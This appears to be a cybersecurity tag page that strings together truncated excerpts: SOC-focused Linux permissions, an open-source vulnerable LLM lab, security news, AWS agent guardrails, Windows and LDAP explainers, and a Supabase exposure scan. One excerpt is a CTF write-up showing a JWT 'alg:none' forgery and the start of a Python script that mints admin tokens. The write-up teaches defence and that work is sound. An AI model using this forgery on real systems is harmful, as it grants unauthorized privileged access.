标签：#Cybersecurity

Introduction Linux is the backbone of modern infrastructure. From cloud servers and firewalls to SIEM platforms and security tools, Linux runs silently behind most enterprise environments. For a Security Operations Center (SOC) analyst, understanding Linux is not optional — it is a core skill. One of the most critical security mechanisms in Linux is its file permission and ownership model. Attackers abuse permissions to execute malware, hide persistence, escalate privileges, and erase evidence. SOC analysts rely on permission analysis to detect anomalies, investigate incidents, and build accurate timelines. Become a Medium member This article covers Linux File Permissions and Ownership in deep detail from a SOC analyst’s perspective. It is designed to take you from absolute beginner to security-aware professional, with real-world examples, attack scenarios, and investigation insights. Why Linux File Permissions Matter in SOC In SOC operations, analysts constantly deal with: Authentication logs System logs Application logs Scripts and binaries Configuration files Evidence files during incident response Every one of these objects is protected by Linux permissions. From a SOC perspective: Incorrect permissions = security risk Permission changes = potential indicator of compromise Executable permissions = possible malware Ownership changes = possible log tampering Understanding permissions allows SOC analysts to: Detect unauthorized access Identify privilege escalation Spot malware execution Preserve forensic evidence Reconstruct attacker activity Understanding Linux File Permission Basics Linux follows a Discretionary Access Control (DAC) model. This means: The owner of a file controls who can access it Permissions define what actions are allowed Every file and directory in Linux has: A type Permissions An owner (user) A group These attributes decide: Who can read the file Who can modify it Who can execute it Viewing Permissions Using ls -l The most common command to i

I Built an Open-Source Lab to Learn the OWASP Top 10 for LLM Applications Over the past few months, I've been exploring the security challenges around Large Language Models. While there are plenty of articles explaining prompt injection, system prompt leakage, insecure tool usage, and other LLM vulnerabilities, I kept asking myself one question: Where can someone actually practice exploiting these vulnerabilities? That's what led me to build LLMVault . LLMVault is an open-source, intentionally vulnerable platform that helps developers and security professionals learn the OWASP Top 10 for LLM Applications (2025) through hands-on labs instead of theory. Each lab simulates a vulnerable AI application inspired by real-world LLM attack scenarios. Instead of reading about prompt injection, you'll exploit it yourself, capture flags, understand why it worked, and then review the recommended mitigation. The objective is to bridge the gap between theory and practical AI security. Why I built LLMVault When learning web security, platforms like DVWA, WebGoat, and Juice Shop made learning practical. For AI security, I couldn't find a similar project that was: Open source Self-hosted Free to use Designed around the OWASP LLM Top 10 Built as a hands-on learning environment So I decided to build one. What is LLMVault? LLMVault is a deliberately vulnerable AI application where every challenge demonstrates a real-world LLM security issue. Instead of simply reading about prompt injection or system prompt leakage, you exploit vulnerable AI assistants, capture flags, and learn why the attack works. Each challenge also includes defensive guidance so you understand how to prevent the same issue in production. Features 🛡️ OWASP Top 10 for LLM Applications (2025) 💥 CTF-style challenges 🔍 Realistic AI attack scenarios 📚 Defensive explanations 🐳 Docker support 🔑 No API keys required 💻 Fully offline 🧩 Extensible challenge framework Getting Started Clone the repository: git clone https://github

Summary NexaVault is a mock internal dashboard app that gates an "Admin Vault" panel behind a role claim in a JWT. The app issues a user-role token on login, stored in the nx_access cookie, and trusts the claims inside it without properly re-verifying the signature on every request. Recon Logged in as a normal user ( strawhat ) and captured the request to /famctf/dashboard : Cookie: nx_access=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzdHJhd2hhdCIsInJvbGUiOiJ1c2VyIn0.x5PRC4_NFw5cGM02QklUN5yq6rtGOMP_E8bKGxgIbME Decoding the JWT: Header { "alg" : "HS256" , "typ" : "JWT" } Payload { "sub" : "strawhat" , "role" : "user" } The dashboard UI showed an "Admin Vault" card locked behind Admin only , confirming role was the authorization check. Attempt 1 - Naive tampering (failed) Editing the payload directly to "role":"admin" while keeping the original HS256 signature predictably failed - the signature no longer matched the modified payload, and the server redirected to the login page. This confirmed the server does verify the signature against the payload, but didn't yet confirm how strictly it verifies the algorithm itself. Attempt 2 - alg:none bypass (success) Many JWT libraries historically honor the alg field declared in the token header to decide how to verify, including a none algorithm meant for unsigned/pre-verified tokens. If the server-side verification doesn't explicitly reject none , an attacker can forge any payload with zero knowledge of the signing secret. Forged header: { "alg" : "none" , "typ" : "JWT" } Forged payload: { "sub" : "strawhat" , "role" : "admin" } Forging Script import base64 , json def b64url ( data : bytes ) -> str : return base64 . urlsafe_b64encode ( data ). rstrip ( b ' = ' ). decode () header = { " alg " : " none " , " typ " : " JWT " } payload = { " sub " : " strawhat " , " role " : " admin " } h = b64url ( json . dumps ( header , separators = ( ' , ' , ' : ' )). encode ()) p = b64url ( json . dumps ( payload , separators = ( ' , ' ,

Plus: Russian cyberspies turn to infrastructure hacking, DHS repeatedly fails to realize it’d been hacked, a breach exposes an AI music generator’s scraping ways, and more.

“Context bombing” tricks malicious AI agents into shutting down before they can do harm.

Introduction A Continuation of Shadow SCADA Terminal Velocity begins where Shadow SCADA left off — at the edge where digital audits meet the physical world. In the previous article, we explored how hidden infrastructures reveal themselves through aerial recon, magnetic anomalies, and environmental signals. Now we move deeper: into the physics of sensing, the light‑based pathways of diodes and photodiodes, and the high‑spec tools that transform invisible signals into readable intelligence. Modern audits are no longer limited to dashboards and logs. They extend into light, magnetic fields, environmental distortions, and sensor‑level truth — domains that traditional processes never touch. Section 1 – Diodes and Photodiodes: The First Gate of Physical Signals In modern audits, everything starts at the physical layer — where electricity and light move before any software or dashboard exists. Two tiny components sit at that gate: diodes and photodiodes. They look similar, but they do very different jobs. What is a diode? · One‑way valve for electricity: A diode lets electric current pass in one direction only, like a one‑way street. · Why this matters for security: Diodes are used to make sure information can leave a system but cannot come back in through the same path (for example, in SCADA or critical networks). · Simple image: Think of a diode as a door that only opens outward. You can exit, but nobody can enter through that door. What is a photodiode? · Sensor for light: A photodiode doesn’t control current—it detects light and turns that light into an electrical signal. · Where it’s used: In cameras, light sensors, security systems, and tools that “listen” to the environment through light. · Simple image: Think of a photodiode as a tiny eye that sees light and tells the system, “Something is shining here.” The key difference (in one sentence) · Diode = controls flow. · Photodiode = senses light. Diodes are about blocking or allowing. Photodiodes are about seeing and

Coca-Cola halts the US operations of its dairy company fairlife due to a ransomware attack.

Owen Flowers and Thalha Jubair, two members of the prolific Scattered Spider hacking group, pleaded guilty and were sentenced to five years and six months in jail for hacking London’s metropolitan transit system.

One period tracker app tested by Mozilla was 'squeaky clean,' while another app was seen sharing users' health data with an analytics company, underscoring vast differences in user privacy among these apps.

MCP for AWS Security Engineers: Build a Read-Only Security Hub Triage Agent For AWS-heavy security work, I would start with AWS Agent Toolkit for AWS and the managed AWS MCP Server , not a custom MCP server. The reason is practical. AWS now provides a managed MCP path that can connect AI coding agents to AWS documentation, AWS APIs, AWS skills, and existing IAM credentials. The Agent Toolkit also provides plugin-based setup for supported agents such as Claude Code and Codex. For security teams, that is the right starting point because the enforcement point remains AWS IAM, not the model. The initial operating model should be strict: Read-only first. No production write authority. No access to secrets. No raw customer PII or sensitive incident logs in prompt context. No automatic remediation. No AI-approved suppression, exception, merge, deploy, or risk acceptance. Human review and CI/CD remain the release authority. That is the same posture I would use for a governed Claude Code or Codex rollout: named identities, SSO, scoped credentials, default deny, tool approval, audit logs, and security evidence tied back to tickets, pull requests, CI logs, and cloud findings. What we are building This article walks through a practical security workflow: A read-only Security Hub triage assistant that helps a junior security engineer produce a daily or weekly findings summary, remediation backlog, and evidence pack without allowing the agent to modify AWS. The agent will be able to: Read AWS Security Hub findings. Group findings by account, severity, product, resource, and control. Explain why a finding matters. Draft remediation tickets. Draft a Slack-ready summary. Produce local markdown, CSV, and JSON evidence files. The agent will not be able to: Suppress findings. Archive findings. Mark findings resolved. Disable Security Hub standards. Modify IAM, S3, EC2, KMS, GuardDuty, Inspector, or Config. Deploy remediation. Run destructive scripts. Approve risk acceptance. This is no

The vulnerability in the decades-old game could have allowed hackers to take over victims’ computers with a malicious game invite.

Microsoft's monthly release of security fixes, dubbed Patch Tuesday, resolved a record 570 security vulnerabilities across the company's product line, thanks to discoveries with AI.

The 2024 indictment, now unsealed, accuses three Russians and two web hosts of aiding hackers and profiting from cybercrime.

Introduction So imagine you are focused on your cappuccino-frappuccino doing something very important on you win laptop and then have a cringe attack due to the unknown Phone Link notification : Complete linking devices Your PC and mobile device are almost linked. Click here to continue linking devices. via Phone Link Then you switch off bluetooth, wifi, laptop - and you are right. What to do next ? Basic checks Settings -> Bluetooth & devices -> Mobile devices Settings -> Accounts -> Email & accounts Inspect recent notifications in Event Viewer eventvwr.msc Applications and Services Logs └ Microsoft └ Windows └ Notifications Applications and Services Logs └ Microsoft └ Windows └ Shell-Core Digital forensics Windows stores toast notifications in a local database, hence you need to install sqlite Get-ChildItem " $ env : LOCALAPPDATA \Microsoft\Windows\Notifications" output : Directory: C:\Users\$ USERNAME \A ppData \L ocal \M icrosoft \W indows \N otifications Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/1/2026 0:00 AM wpnidm -a---- 1/1/2026 0:00 AM 1000000 wpndatabase.db -a---- 1/1/2026 0:00 AM 10000 wpndatabase.db-shm -a---- 1/1/2026 0:00 AM 1000000 wpndatabase.db-wal wpndatabase.db is a SQLite database. connect to the database : sqlite3 " $env :LOCALAPPDATA \M icrosoft \W indows \N otifications \w pndatabase.db" query the Notification table . headers on . mode column SELECT Notification . Id , Notification . HandlerId , Notification . Type , Notification . ArrivalTime , Notification . Payload FROM Notification LIMIT 20 ; Then you will have something like : Id: [REDACTED] HandlerId: [REDACTED] Type: toast ArrivalTime: [REDACTED] Payload: <?xml version="1.0"?> <toast activationType= "protocol" launch= "ms-phone:fre/?cid=[REDACTED]&ref=FreIncompleteToast&reason=IncompleteNotificationsToast" > <visual> <binding template= "ToastGeneric" > <text hint-maxLines= "1" > Complete linking devices </text> <text> Your PC and mobile device are almost li

Telegram CEO Pavel Durov confirmed an outage in a tweet, saying that shortlinks to the messaging app had "stopped working."

Apple would not comment on the "security breach," which allegedly allowed a former employee to download sensitive files from Apple's network long after he departed the company for rival OpenAI.

The Cybersecurity and Infrastructure Security Agency (CISA) has issued a postmortem on a data leak in which a contractor published dozens of internal CISA credentials -- including AWS Govcloud keys -- in a public GitHub repository for almost six months before being notified by KrebsOnSecurity. Experts say the gaps identified in the agency's initial response provide important lessons that all security teams should absorb.

If you have ever logged into a corporate computer, searched for a colleague in your company’s email directory, or used a single set of credentials to access dozens of different internal applications, you have likely interacted with LDAP . Standing for Lightweight Directory Access Protocol , LDAP is an open, vendor-neutral, industry-standard application protocol for accessing and maintaining distributed directory information services over an IP network. In simpler terms, it is the underlying language that allows different systems and applications to communicate with a central directory to find information about users, devices, and permissions. Think of LDAP as a highly organized, digital phonebook. When an application needs to know if "John Doe" is a valid user and what his password is, it uses LDAP to ask the phonebook. How LDAP Organizes Data Unlike traditional relational databases (like SQL) that store data in tables, LDAP stores data in a hierarchical, tree-like structure known as the Directory Information Tree (DIT) . This makes it incredibly fast at reading and searching for information, which is exactly what an authentication system needs to do millions of times a day. Here are the core components of this structure: Root: The top level of the directory tree, usually representing the organization (e.g., dc=example, dc=com ). Branches (Organizational Units - OU): Categories or departments within the organization (e.g., ou=Marketing , ou=Servers ). Leaves (Entries): The actual objects being stored, such as a specific user, printer, or computer. Attributes: The specific pieces of data tied to an entry. For a user entry, attributes might include givenName (first name), mail (email address), and userPassword . Every entry in an LDAP directory has a unique identifier called a Distinguished Name (DN) . It acts like an absolute file path. For example, John Doe’s DN might look like this: cn=John Doe, ou=Marketing, dc=example, dc=com How Applications Talk to LDAP When an

No hacking — a passive scan only looks at what your browser already downloads when it opens a page. Here's what I found: 6 of 15 load their Supabase database directly client-side. The public API key sits in the page source. That's fine if Row-Level Security is configured right — but it's one wrong setting away from "anyone can read the whole table." 14 of 15 ship no Content-Security-Policy — a simple, high-value hardening against script injection, almost always missing. Is this theoretical? No. Two apps I audited with the owner's permission: A social app: the profiles table — user names, cities, and a password hash — readable by a logged-out stranger. Closed in an afternoon. A paid learning app: 155 paid study sheets and 4,872 answers were readable by anyone, with no account and no subscription — its entire paid catalogue, a single API call away. The paywall lived only in the front-end; the database served everything to everyone. Loading Supabase in the browser isn't the mistake. Not enforcing access in the database (RLS) is. And the tools you build with won't tell you — they'll happily ship it. If you built something on Lovable / Bolt / Replit with real users (or paying ones), it's worth 60 seconds to check what a stranger can already see. I made a free tool that runs the surface check (passive, no signup): sealdy.dev Happy to answer questions on how RLS leaks happen and how to lock them down.

For years, scam prevention has relied on a familiar instruction: educate people so they can recognise danger before they act. Public campaigns warn consumers not to click unexpected links, disclose security codes, transfer money under pressure, or trust unsolicited contact. This advice remains useful, but it places too much defensive responsibility at the final point in a long scam chain. The Australian Scams Prevention Framework, or SPF, reflects a more demanding view. The framework requires selected service providers to take action against scams connected with or using their services. Its governing logic extends across prevention, detection, reporting, disruption, response, governance and intelligence sharing.[1][2] Australia has therefore moved beyond a model in which awareness is treated as the primary control. The emerging standard is an operational system in which institutions must identify scam activity, convert reports into usable intelligence, intervene against infrastructure, assist affected consumers and learn from recurring campaigns. This distinction is important. Awareness changes what a person knows. Operational scam defence changes what a scammer can do. Awareness Operates at the Last Defensible Moment Most awareness controls activate immediately before the victim acts. A warning appears before a transfer, a browser displays a suspicious-site alert, or a public campaign advises the consumer to pause and verify. By that stage, however, the scam may already have passed through several successful phases: The victim has been reached through SMS, email, social media, a search advertisement, a phone call or a marketplace conversation. A trusted brand, institution, employer, government agency or personal identity has been impersonated. The scammer has created urgency, authority, fear, opportunity or emotional dependency. The victim has been moved to a website, app, private chat or phone conversation. Payment, credential, identity or access pressure has begu